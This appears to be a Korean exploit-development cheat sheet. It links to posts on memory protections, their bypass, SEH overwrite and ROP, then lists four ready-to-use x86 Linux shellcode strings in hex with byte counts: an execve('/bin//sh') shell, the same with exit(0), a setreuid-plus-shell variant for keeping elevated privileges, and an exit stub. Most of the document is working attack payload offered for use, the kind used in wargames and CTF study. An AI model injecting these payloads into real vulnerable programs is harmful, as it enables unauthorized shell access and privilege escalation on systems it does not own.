say2

메모리 보호기법 : http://teamcrak.tistory.com/330

보호기법 우회 : http://teamcrak.tistory.com/332

SEH overwrite http://teamcrak.tistory.com/348

ROP : http://shayete.tistory.com/entry/6-Return-Oriented-Programming

http://intenila.tistory.com/5

x01. 가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

bytes : 25
미포함 : setreuid(), exit()

0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x31\xc0\xb0\x01\xcd\x80

bytes : 31
미포함 : setreuid()

0x03. setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드
 
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x31\xc0\xb0\x01\xcd\x80

bytes : 47

0x04. exit(0) 코드
\x31\xc0\xb0\x01\xcd\x80

bytes : 6